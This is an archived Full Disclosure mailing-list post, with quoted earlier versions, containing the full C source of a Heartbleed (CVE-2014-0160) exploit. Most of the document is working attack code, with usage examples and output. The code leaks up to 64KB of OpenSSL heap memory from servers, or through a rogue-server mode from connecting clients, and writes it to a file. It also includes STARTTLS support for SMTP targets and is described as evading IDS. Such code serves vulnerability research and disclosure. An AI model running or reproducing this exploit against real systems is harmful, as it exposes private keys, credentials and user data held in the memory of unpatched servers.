[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [FD] heartbleed.c



I made a mistake and was premature to send that last version to the list as
it had horrendous bugs and wasn't correct at all, this version now
correctly leaks from the server the full 64k heap block. It will also
attempt on client but I encountered some errors (client forcefully closing
connection etc.). It's late and I am sure there are bugs, any future
versions please see
https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.cas
I will update it as needed.

Regards,
Matthew


On Fri, Apr 11, 2014 at 1:36 AM, Hacker Fantastic <
hackerfantastic@xxxxxxxxxxxxxx> wrote:

> Bug fix in byte order of length values returned. For any future updates
> please see github.
>
>
> On Fri, Apr 11, 2014 at 12:15 AM, Hacker Fantastic <
> hackerfantastic@xxxxxxxxxxxxxx> wrote:
>
>> Updated version, the heartbleed leak returned incorrect TLS record sizes
>> (kudos to Andrea Shepard @ tor for pointing this out) but was still leaking
>> the requested amount. Earlier code was returning only 16k of data as I
>> relied on the TLS record size. This version will leak upto 64K of data from
>> client or server heap.
>>
>>
>> On Thu, Apr 10, 2014 at 3:25 PM, Hacker Fantastic <
>> hackerfantastic@xxxxxxxxxxxxxx> wrote:
>>
>>> Exploit for CVE-2014-0160 - client/server exploit and uses encrypted
>>> stream to leak bytes for IDS evasion. Can adjust heartbeat payload_length
>>> to leak fewer bytes and also has support for pre_cmd's i.e. STARTTLS.
>>>
>>
>>
>>
>> --
>> Matthew Hickey
>> Tel: +44 7543 661237
>> Web: http://blog.hackerfantastic.com
>>
>> Please visit my website for blog postings, status updates and project
>> information.
>>
>>
>>
>>
>>
>
>
> --
> Matthew Hickey
> Tel: +44 7543 661237
> Web: http://blog.hackerfantastic.com
>
> Please visit my website for blog postings, status updates and project
> information.
>
>
>
>
>


-- 
Matthew Hickey
Tel: +44 7543 661237
Web: http://blog.hackerfantastic.com

Please visit my website for blog postings, status updates and project
information.
/* 
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. The exploit can set 
* the heatbeart payload length arbitrarily or use two preset 
* values for 0x00 and MAX length. The vulnerability occurs due 
* to bounds checking not being performed on a heap value which 
* is user supplied and returned to the user as part of DTLS/TLS 
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to 
* 1.0.1f are known affected. You must run this against a target 
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g 
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.23 -p 443 -f server -t 1
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ connecting to 192.168.11.23 443/tcp
* [ connected to 192.168.11.23 443/tcp
* [ <3 <3 <3 heart bleed <3 <3 <3 <3
* [ heartbeat returned type=24 length=16408
* [ decrypting and decompressing SSL packet
* [ heartbleed leaked length=65535
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'server'
* [ heartbeat returned type=24 length=16408
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'server'
* [ heartbeat returned type=24 length=16408
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'server'
* [ heartbeat returned type=24 length=16408
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'server'
* [ done.
* $ hexdump -C server
* - snip - snip  
*
* Added support for pre_cmd's and as an example use STARTTLS
* to leak from vulnerable SMTP services.
*
* Added experimental support for exploiting connecting clients
* with rogue server. Generate certificates with the following: 
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* todo: add udp/dtls support.
*
* - Hacker Fantastic
*   http://www.mdsec.co.uk
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>

#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
                (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
                 c[1]=(unsigned char)(((s)    )&0xff)),c+=2)

int first = 0;
int leakbytes = 0;
int repeat = 1;

typedef struct {
        int socket;
        SSL *sslHandle;
        SSL_CTX *sslContext;
} connection;

typedef struct {
  unsigned char type;
  short version;
  unsigned int length;
  unsigned char hbtype;
  unsigned int payload_length;
  void* payload;
} heartbeat;

void ssl_init();
void usage();
int tcp_connect(char*,int);
int tcp_bind(char*, int);
connection* tls_connect(int);
connection* tls_bind(int);
int pre_cmd(int,int);
void* heartbleed(connection* ,unsigned int);
void* sneakyleaky(connection* ,char*, int);

int tcp_connect(char* server,int port){
        int sd,ret;
        struct hostent *host;
        struct sockaddr_in sa;
        host = gethostbyname(server);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd==-1){
                printf("[!] cannot create socket\n");
                exit(0);
        }
        sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = *((struct in_addr *) host->h_addr);
        bzero(&(sa.sin_zero),8);
        printf("[ connecting to %s %d/tcp\n",server,port);
        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
        if(ret==0){
                printf("[ connected to %s %d/tcp\n",server,port);
        }
        else{
                printf("[!] FATAL: could not connect to %s 
%d/tcp\n",server,port);
                exit(0);
        }
        return sd;
}

int tcp_bind(char* server, int port){
        int sd, ret, val=1;
        struct sockaddr_in sin;
        struct hostent *host;
        host = gethostbyname(server);
        sd=socket(AF_INET,SOCK_STREAM,0);
        if(sd==-1){
                printf("[!] cannot create socket\n");
                exit(0);
        }
        memset(&sin,0,sizeof(sin));
        sin.sin_addr=*((struct in_addr *) host->h_addr);
        sin.sin_family=AF_INET;
        sin.sin_port=htons(port);
        setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
        ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
        if(ret==-1){
                printf("[!] cannot bind socket\n");
                exit(0);
        }
        listen(sd,5);
        return(sd);
}


void ssl_init(){
        SSL_load_error_strings();
        SSL_library_init();
        OpenSSL_add_all_digests();
        OpenSSL_add_all_algorithms();
        OpenSSL_add_all_ciphers();
}

connection* tls_connect(int sd){
        connection *c;
        c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(SSLv23_client_method());
        SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | 
SSL_OP_NO_SSLv3);
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        if(SSL_connect(c->sslHandle)!=1)
                ERR_print_errors_fp(stderr);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & 
SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try 
anyway)\n");
        }
        return c;
}

connection* tls_bind(int sd){
        int bytes;
        connection *c;
        char* buf;
        buf = malloc(4096);
        memset(buf,0,4096);
        c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(SSLv23_server_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | 
SSL_OP_NO_SSLv3);
        SSL_CTX_SRP_CTX_init(c->sslContext);
        SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", 
SSL_FILETYPE_PEM);
        SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", 
SSL_FILETYPE_PEM);       
        if(!SSL_CTX_check_private_key(c->sslContext)){
                printf("[!] FATAL: private key does not match the certificate 
public key\n");
                exit(0);
        }
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        int rc = SSL_accept(c->sslHandle);
        printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
        bytes = SSL_read(c->sslHandle, buf, 4095);
        printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & 
SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try 
anyway)\n");
        }
        return c;
}

int pre_cmd(int sd,int verbose){
        /* this function can be used to send commands to a plain-text
        service or client before heartbleed exploit attempt. e.g. STARTTLS */
        int rc;
        char* buffer;
        char* hello = "EHLO test\n";
        char* start = "STARTTLS\n"; 
        buffer = malloc(2049);
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        printf("[ banner: %s",buffer);
        send(sd,hello,strlen(hello),0);
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        if(verbose==1){
                printf("%s\n",buffer);
        }
        send(sd,start,strlen(start),0);
        memset(buffer,0,2049);
        rc = read(sd,buffer,2048);
        if(verbose==1){
                printf("%s\n",buffer);
        }
        return sd;
}

void* heartbleed(connection *c,unsigned int type){
        unsigned char *buf, *p;
        int ret;
        buf = OPENSSL_malloc(1 + 2);
        p = buf;
        *p++ = TLS1_HB_REQUEST;
        switch(type){
                case 0:
                        s2n(0x0,p);
                        break;
                case 1:
                        s2n(0xffff,p);
                        break;
                default:
                        printf("[ setting heartbeat payload_length to 
%u\n",type);
                        s2n(type,p);
                        break;
        }
        printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        OPENSSL_free(buf);
        return c;
}

void* sneakyleaky(connection *c,char* filename, int verbose){
        char *p;
        int ssl_major,ssl_minor,al;
        int enc_err,n,i;
        SSL3_RECORD *rr;
        SSL_SESSION *sess;
        SSL* s;
        unsigned char md[EVP_MAX_MD_SIZE];
        short version;
        unsigned mac_size, orig_len;
        size_t extra;
        rr= &(c->sslHandle->s3->rrec);
        sess=c->sslHandle->session;
        s = c->sslHandle;
        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
                extra=SSL3_RT_MAX_EXTRA;
        else
                extra=0;
        if ((s->rstate != SSL_ST_READ_BODY) ||
                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, 
s->s3->rbuf.len, 0);
                        if (n <= 0)
                                goto apple; 
                        s->rstate=SSL_ST_READ_BODY;
                        p=s->packet;
                        rr->type= *(p++);
                        ssl_major= *(p++);
                        ssl_minor= *(p++);
                        version=(ssl_major<<8)|ssl_minor;
                        n2s(p,rr->length);
                        if(rr->type==24){
                                printf("[ heartbeat returned type=%d 
length=%u\n",rr->type, rr->length);
                                if(rr->length > 16834){
                                        printf("[ error, got a malformed TLS 
length.\n");
                                        exit(0);
                                }
                        }
                        else{
                                printf("[ incorrect record type=%d length=%u 
returned\n",rr->type,rr->length);
                                s->packet_length=0;
                                goto apple;
                        }
        }
        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
                i=rr->length;
                n=ssl3_read_n(s,i,i,1);
                if (n <= 0) goto apple; 
        }
        printf("[ decrypting and decompressing SSL packet\n");
        s->rstate=SSL_ST_READ_HEADER; 
        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
        rr->data=rr->input;
        tls1_enc(s,0);
        if((sess != NULL) &&
            (s->enc_read_ctx != NULL) &&
            (EVP_MD_CTX_md(s->read_hash) != NULL))
                {
                unsigned char *mac = NULL;
                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
                mac_size=EVP_MD_CTX_size(s->read_hash);
                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
                orig_len = rr->length+((unsigned int)rr->type>>8);
                if(orig_len < mac_size ||
                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
                   orig_len < mac_size+1)){
                        al=SSL_AD_DECODE_ERROR;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
                }
                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
                        mac = mac_tmp;
                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
                        rr->length -= mac_size;
                }
                else{
                        rr->length -= mac_size;
                        mac = &rr->data[rr->length];
                }
                i = tls1_mac(s,md,0);
                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, 
(size_t)mac_size) != 0)
                        enc_err = -1;
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
                        enc_err = -1;
                }
        if(enc_err < 0){
                al=SSL_AD_BAD_RECORD_MAC;
                
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
                goto apple;
        }
        if(s->expand != NULL){
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
                        al=SSL_AD_RECORD_OVERFLOW;
                        
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
                        goto apple;
                        }
                if (!ssl3_do_uncompress(s)) {
                        al=SSL_AD_DECOMPRESSION_FAILURE;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
                        goto apple;
                        }
                }
        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
                al=SSL_AD_RECORD_OVERFLOW;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
                goto apple;
        }
        rr->off=0;
        s->packet_length=0;
        if(first==0){
                uint heartbleed_len = 0;
                char* fp = s->s3->rrec.data;
                (long)fp++;
                memcpy(&heartbleed_len,fp,2);
                heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len 
& 0xff00) >> 8;
                first = 1;
                leakbytes = heartbleed_len;
                printf("[ heartbleed leaked length=%u\n",heartbleed_len);
        }
        if(verbose==1){
                { unsigned int z; for (z=0; z<rr->length; z++) 
printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
                printf("\n");
        }
        leakbytes-=rr->length;
        if(leakbytes > 0){
                repeat = 1;
        }
        else{
                repeat = 0;
        }
        printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
        int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
        write(fd,s->s3->rrec.data,s->s3->rrec.length);
        close(fd);
        printf("[ wrote %d bytes to file '%s'\n",s->s3->rrec.length, filename);
        return;
apple:
        printf("[ problem handling SSL record packet - wrong type?\n");
}

void usage(){
        printf("[\n");
        printf("[ --server|-s <ip/dns>    - the server to target\n");
        printf("[ --port|-p   <port>      - the port to target\n");
        printf("[ --file|-f   <filename>  - file to write data to\n");
        printf("[ --bind|-b   <ip>        - bind to ip for exploiting 
clients\n");
        printf("[ --precmd|-c             - send precmd buffer (STARTTLS)\n");
        printf("[ --type|-t               - select exploit to try\n");
        printf("[                           0 = null length\n");
        printf("[                           1 = max leak\n");
        printf("[                           n = heartbeat payload_length\n");
        printf("[\n");
        printf("[ --verbose|-v            - output leak to screen\n");
        printf("[ --help|-h               - this output\n");
        printf("[\n");
        exit(0);
}

int main(int argc, char* argv[]){
        int ret, port, userc, index;
        int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0;
        struct hostent *h;
        connection* c;
        char *host, *file;
        int ihost = 0, iport = 0, ifile = 0, itype = 0;
        printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak 
exploit\n");
        printf("[ 
=============================================================\n");
        static struct option options[] = {
                {"server", 1, 0, 's'},
                {"port", 1, 0, 'p'},
                {"file", 1, 0, 'f'},
                {"type", 1, 0, 't'},
                {"bind", 1, 0, 'b'},
                {"verbose", 0, 0, 'v'},
                {"precmd", 0, 0, 'c'},
                {"help", 0, 0,'h'}
        };
        while(userc != -1) {
                userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index);  
                switch(userc) {
                        case -1:
                                break;
                        case 's':
                                if(ihost==0){
                                        ihost = 1;
                                        h = gethostbyname(optarg);              
                
                                        if(h==NULL){
                                                printf("[!] FATAL: unknown host 
'%s'\n",optarg);
                                                exit(1);
                                        }
                                        host = malloc(strlen(optarg) + 1);
                                        sprintf(host,"%s",optarg);
                                }
                                break;
                        case 'p':
                                if(iport==0){
                                        port = atoi(optarg);
                                        iport = 1;
                                }
                                break;
                        case 'f':
                                if(ifile==0){
                                        file = malloc(strlen(optarg) + 1);
                                        sprintf(file,"%s",optarg);
                                        ifile = 1;
                                }
                                break;
                        case 't':
                                if(itype==0){
                                        type = atoi(optarg);
                                        itype = 1;
                                }
                                break;
                        case 'h':
                                usage();
                                break;
                        case 'b':
                                if(ihost==0){
                                        ihost = 1;
                                        host = malloc(strlen(optarg)+1);
                                        sprintf(host,"%s",optarg);
                                        bind = 1;
                                }
                                break;
                        case 'c':
                                precmd = 1;
                                break;
                        case 'v':
                                verbose = 1;
                                break;
                        default:
                                break;
                }
        }
        if(ihost==0||iport==0||ifile==0||itype==0){
                printf("[ try --help\n");
                exit(0);
        }
        ssl_init();
        if(bind==0){
                ret = tcp_connect(host, port);
                if(precmd==1){
                        pre_cmd(ret, verbose);
                }
                c = tls_connect(ret);
                heartbleed(c,type);
                while(repeat==1){
                        sneakyleaky(c,file,verbose);
                }
                printf("[ done.\n");
                exit(0);
        }
        else{
                int sd, pid, i;
                ret = tcp_bind(host, port);
                while(1){
                        sd=accept(ret,0,0);
                        if(sd==-1){
                                printf("[!] FATAL: problem with accept()\n");
                                exit(0);
                        }
                        if(pid=fork()){
                                close(sd);
                        }
                        else{
                                c = tls_bind(sd);
                                if(precmd==1){
                                        pre_cmd(ret, verbose);
                                }
                                heartbleed(c,type);
                                while(repeat==1){
                                        sneakyleaky(c,file,verbose);
                                }
                                //sneakyleaky(c,file,verbose);
                                printf("[ done.\n");
                                exit(0);
                        }
                }
        }
}
_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/